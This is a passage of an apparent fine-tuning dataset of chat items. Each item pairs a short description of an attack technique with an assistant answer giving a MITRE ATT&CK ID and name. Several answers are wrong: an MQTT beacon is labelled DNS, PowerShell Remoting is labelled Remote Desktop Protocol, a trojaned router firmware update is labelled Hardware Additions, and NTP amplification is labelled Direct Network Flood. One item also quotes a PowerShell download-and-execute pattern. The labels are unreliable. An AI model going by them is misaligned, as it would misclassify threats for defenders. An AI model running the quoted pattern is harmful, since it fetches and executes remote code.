                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker performs COM hijacking by overwriting the registry value for a high-privilege service's COM server, causing the service to load the attacker's malicious executable."
            },
            {
                "role": "assistant",
                "content": "T1546.015 - Event Triggered Execution: Component Object Model Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through XSL script processing, the attacker manipulates the XSL transformation to run arbitrary shell commands."
            },
            {
                "role": "assistant",
                "content": "T1220 - XSL Script Processing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware corrupts database records to cause loss of data integrity."
            },
            {
                "role": "assistant",
                "content": "T1565 - Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits a public‑key infrastructure flaw to deliver a public key to the victim, then encrypts command traffic, forming an encrypted asymmetric channel."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Encrypted Channel: Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exploits the Windows Hook injection technique, setting a global hook that runs malicious code in the context of another process."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exploits a misconfigured NTP server to amplify and direct a flood of NTP monlist responses at the target, causing a DoS event."
            },
            {
                "role": "assistant",
                "content": "T1498.001 - Network Denial of Service: Direct Network Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group purchases a virtual private server on a cheap cloud provider to host command‑and‑control infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1583.003 - Acquire Infrastructure: Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages the preload feature on macOS to inject a malicious dynamic library into a trusted process, hijacking its control flow."
            },
            {
                "role": "assistant",
                "content": "T1574.004 - Hijack Execution Flow: Dylib Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages Wireshark on a compromised system to record traffic for later analysis."
            },
            {
                "role": "assistant",
                "content": "T1040 - Network Sniffing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a zero‑day vulnerability in the Facebook Graph API to gain unauthorized access to user data and accounts."
            },
            {
                "role": "assistant",
                "content": "T1586.001 - Compromise Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised service is configured with an unquoted binary path like C:\\Program Files\\Example\\example.exe; the attacker drops a malicious example.exe in C:\\Program Files\\Example (without quotes) to intercept execution."
            },
            {
                "role": "assistant",
                "content": "T1574.009 - Hijack Execution Flow: Path Interception by Unquoted Path"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script leverages the 'net start' command to launch a hidden service that exfiltrates data."
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion modifies security policies to lower logging levels, reducing the amount of data captured."
            },
            {
                "role": "assistant",
                "content": "T1562 - Impair Defenses"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor wrote a Python script to call Confluence’s search endpoint, aggregating all pages containing the keyword ‘confidential’ and exfiltrating them."
            },
            {
                "role": "assistant",
                "content": "T1213.001 - Data from Information Repositories: Confluence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor creates a hidden window in a legitimate process and injects malicious code into its extra window memory to execute payloads."
            },
            {
                "role": "assistant",
                "content": "T1055.011 - Process Injection: Extra Window Memory Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Compromised devices send periodic beacon messages via MQTT to a cloud‑based C2 broker."
            },
            {
                "role": "assistant",
                "content": "T1071.004 - Application Layer Protocol: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a content delivery network to host a malicious payload, routing traffic through the CDN's domain to disguise the true destination, effectively performing domain fronting."
            },
            {
                "role": "assistant",
                "content": "T1090.004 - Proxy: Domain Fronting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses a specially crafted XSL file that triggers the execution of a PowerShell reverse shell when parsed by an application."
            },
            {
                "role": "assistant",
                "content": "T1220 - XSL Script Processing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary performs AS‑REP roasting by targeting service accounts with disabled pre‑authentication, capturing the encrypted ticket, and attempting to retrieve the plaintext password via brute‑force."
            },
            {
                "role": "assistant",
                "content": "T1558.004 - Steal or Forge Kerberos Tickets: AS-REP Roasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT groups alter the macOS kernel cache image to embed spyware that runs at the kernel level."
            },
            {
                "role": "assistant",
                "content": "T1601 - Modify System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker sets up a clandestine DNS server that mimics the legitimate one and updates the network's DNS settings to use it."
            },
            {
                "role": "assistant",
                "content": "T1584.002 - Compromise Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The backdoor drops a text file containing a URL pointing to a malicious GitHub repository where further tools are retrieved."
            },
            {
                "role": "assistant",
                "content": "T1608.005 - Stage Capabilities: Link Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor performs a DNS zone transfer to discover internal domain names and hosts."
            },
            {
                "role": "assistant",
                "content": "T1590 - Gather Victim Network Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor accessed the Active Directory NTDS.dit file directly on the DC to harvest credential information."
            },
            {
                "role": "assistant",
                "content": "T1003.003 - OS Credential Dumping: NTDS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat modifies the TLS data structures of a running service to load and execute its own payload during thread initialization."
            },
            {
                "role": "assistant",
                "content": "T1055.005 - Process Injection: Thread Local Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A USB-based dropper installs a loader that persists by auto-replicating to any detected USB drives, ensuring the infection spreads across air-gapped environments."
            },
            {
                "role": "assistant",
                "content": "T1091 - Replication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Actor uses a PowerShell command to set the 'Turn off monitor after' value to 0 minutes."
            },
            {
                "role": "assistant",
                "content": "T1653 - Power Settings"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By poisoning the dependency resolution process, attackers cause a victim's application to pull in a malicious version of a commonly used library."
            },
            {
                "role": "assistant",
                "content": "T1195.001 - Supply Chain Compromise: Compromise Software Dependencies and Development Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using Odbcconf, the intruder proxies execution of a malicious DLL under the context of a trusted Windows binary."
            },
            {
                "role": "assistant",
                "content": "T1218.008 - System Binary Proxy Execution: Odbcconf"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor uses a spearphishing service to send emails impersonating IT support, directing users to a malicious portal to harvest credentials."
            },
            {
                "role": "assistant",
                "content": "T1598.001 - Phishing for Information: Spearphishing Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor edits the NSUserDefaults plist to change application behavior and bypass security checks."
            },
            {
                "role": "assistant",
                "content": "T1647 - Plist File Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary set up a rogue Wi‑Fi hotspot in the office parking lot to capture and manipulate the victims' network traffic before it reaches the corporate gateway."
            },
            {
                "role": "assistant",
                "content": "T1557 - Adversary-in-the-Middle"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan injects its code into the memory of a running Windows service via Process Injection: Proc Memory technique."
            },
            {
                "role": "assistant",
                "content": "T1055.009 - Process Injection: Proc Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By tampering with the file permissions of a system service, the intruder injects a malicious executable that runs with the service's high‑level privileges."
            },
            {
                "role": "assistant",
                "content": "T1574.010 - Hijack Execution Flow: Services File Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Process argument spoofing is employed to hide the execution of a payload by embedding it within the command line of a harmless-looking process."
            },
            {
                "role": "assistant",
                "content": "T1564.010 - Hide Artifacts: Process Argument Spoofing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers add new service accounts to Azure AD and assign them high‑privilege roles for later malicious activity."
            },
            {
                "role": "assistant",
                "content": "T1585 - Establish Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor changes the ACL of the /home/shared directory, granting the group 'staff' write rights."
            },
            {
                "role": "assistant",
                "content": "T1222.002 - File and Directory Permissions Modification: Linux and Mac File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through compromised admin rights, the threat actor creates a global forwarding rule that sends copies of all internal communications to an external mailbox."
            },
            {
                "role": "assistant",
                "content": "T1114.003 - Email Collection: Email Forwarding Rule"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor schedules a system shutdown using the \"schtasks /create\" command with a shutdown action."
            },
            {
                "role": "assistant",
                "content": "T1529 - System Shutdown/Reboot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using systemd's ExecStartPre, the attacker runs a script that escalates privileges before the main process."
            },
            {
                "role": "assistant",
                "content": "T1543.002 - Create or Modify System Process: Systemd Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Credential theft is performed by accessing the user's Keychain store on macOS to retrieve saved authentication tokens."
            },
            {
                "role": "assistant",
                "content": "T1555.001 - Credentials from Password Stores: Keychain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware enumerates container image layers by inspecting the directory \"/var/lib/docker/overlay2\"."
            },
            {
                "role": "assistant",
                "content": "T1613 - Container and Resource Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker sets up a persistent reverse shell that tunnels all local network traffic through an encrypted channel to their external server."
            },
            {
                "role": "assistant",
                "content": "T1599 - Network Boundary Bridging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the intrusion, the adversary leverages reflective DLL injection to run code in the memory of a trusted service."
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers purchased a forged SSL/TLS certificate from a dark web vendor to impersonate a trusted website."
            },
            {
                "role": "assistant",
                "content": "T1588.004 - Obtain Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A state‑sponsored group acquires a set of proxy servers across multiple regions to facilitate multi‑hop C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1583 - Acquire Infrastructure"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat group hijacks a CI/CD pipeline to inject malicious code into the build artifacts, which are then deployed to production servers."
            },
            {
                "role": "assistant",
                "content": "T1072 - Software Deployment Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious software is loaded onto a firmware update package for a network router, causing a backdoor after flashing."
            },
            {
                "role": "assistant",
                "content": "T1200 - Hardware Additions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion sets up a scheduled task that backs up key logs to a corporate Box.com account."
            },
            {
                "role": "assistant",
                "content": "T1537 - Transfer Data to Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries register a malicious domain on a public domain registrar to host phishing pages."
            },
            {
                "role": "assistant",
                "content": "T1583.001 - Acquire Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors modify the application’s configuration to use a DES cipher instead of AES, weakening the encryption strength."
            },
            {
                "role": "assistant",
                "content": "T1600.001 - Weaken Encryption: Reduce Key Space"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers execute a PowerShell script that stops the backup service and wipes all backup files, hindering the ability to recover the system."
            },
            {
                "role": "assistant",
                "content": "T1490 - Inhibit System Recovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign leverages a well-known video streaming platform's domain to hide the malicious payload's actual location with domain fronting."
            },
            {
                "role": "assistant",
                "content": "T1090.004 - Proxy: Domain Fronting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker abuses the 'powershell IEX (New-Object Net.WebClient).DownloadString' pattern to execute remote code."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor leverages the Internet Archive's Wayback Machine to retrieve historical versions of the target's website."
            },
            {
                "role": "assistant",
                "content": "T1593 - Search Open Websites/Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An iOS exploit accesses the securityd daemon's memory to dump user credentials."
            },
            {
                "role": "assistant",
                "content": "T1555.002 - Credentials from Password Stores: Securityd Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group utilizes 'at' to schedule a command that disables security tools before launching payload."
            },
            {
                "role": "assistant",
                "content": "T1053.002 - Scheduled Task/Job: At"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise included copying the entire local email cache folder of the Evolution client on a Linux host."
            },
            {
                "role": "assistant",
                "content": "T1114.001 - Email Collection: Local Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker executes 'gcloud storage buckets list' to enumerate Google Cloud Storage buckets."
            },
            {
                "role": "assistant",
                "content": "T1526 - Cloud Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker edits the audit configuration to set 'max_log_file' to 0, causing the audit system to cease logging."
            },
            {
                "role": "assistant",
                "content": "T1562.012 - Impair Defenses: Disable or Modify Linux Audit System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Steganographic techniques were used to embed a JavaScript payload in the whitespace of a CSS file."
            },
            {
                "role": "assistant",
                "content": "T1027.003 - Obfuscated Files or Information: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The team creates a new GitHub repository under a fake identity to store stolen code snippets."
            },
            {
                "role": "assistant",
                "content": "T1608.001 - Stage Capabilities: Upload Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the snmpwalk tool, the intruder extracted the device's Management Information Base to obtain system configurations."
            },
            {
                "role": "assistant",
                "content": "T1602.001 - Data from Configuration Repository: SNMP (MIB Dump)"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromised host periodically sends HTTPS POST requests to a malicious domain controlled by the attacker, containing base64‑encoded commands."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors retrieve a compressed payload, decompress it, and then decode the embedded malicious DLL."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By calling the unprotected /v1.24/containers/json endpoint, the threat actor obtains configuration files containing registry passwords."
            },
            {
                "role": "assistant",
                "content": "T1552.007 - Unsecured Credentials: Container API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Conducting a whale phishing campaign to target high-level executives"
            },
            {
                "role": "assistant",
                "content": "T1598.003 - Phishing for Information: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script invokes InstallUtil to load a malicious assembly, exploiting the tool's ability to run arbitrary code."
            },
            {
                "role": "assistant",
                "content": "T1218.004 - System Binary Proxy Execution: InstallUtil"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary compresses stolen files into archives to reduce size before exfiltrating them to avoid data transfer size limits."
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware installs a previous version of the system image to re‑enable disabled security features."
            },
            {
                "role": "assistant",
                "content": "T1601.002 - Modify System Image: Downgrade System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat alters the entitlements of a benign app, re-signs it, and distributes it to bypass Gatekeeper’s trust verification."
            },
            {
                "role": "assistant",
                "content": "T1553.001 - Subvert Trust Controls: Gatekeeper Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat group uses PowerShell Remoting (Enter-PSSession) to run scripts on multiple endpoints."
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors perform ARP scanning across the victim’s subnet to discover live hosts and their MAC addresses."
            },
            {
                "role": "assistant",
                "content": "T1595 - Active Scanning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker utilizes the PassiveTotal service to collect historical DNS data for profiling the victim's network."
            },
            {
                "role": "assistant",
                "content": "T1596.001 - Search Open Technical Databases: DNS/Passive DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary performs credential dumping via the LSASS memory using the ProcDump utility."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages a phishing campaign targeting executive assistants, using credentials to access corporate email."
            },
            {
                "role": "assistant",
                "content": "T1586.002 - Compromise Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
